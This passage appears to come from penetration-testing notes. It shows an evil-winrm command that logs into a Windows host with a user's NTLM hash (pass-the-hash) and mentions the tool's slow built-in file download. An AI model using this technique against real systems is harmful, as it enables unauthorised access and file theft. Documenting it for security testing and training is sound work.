evil-winrm -i $TARGET_HOST \
           -u $TARGET_USER \
           -H $TARGET_USER_NTLM_HASH

This requires that you already have the target user’s NTLM hash, obviously.

Note that Evil-WinRM does have a built-in download command for transferring files, but it’s sloooow…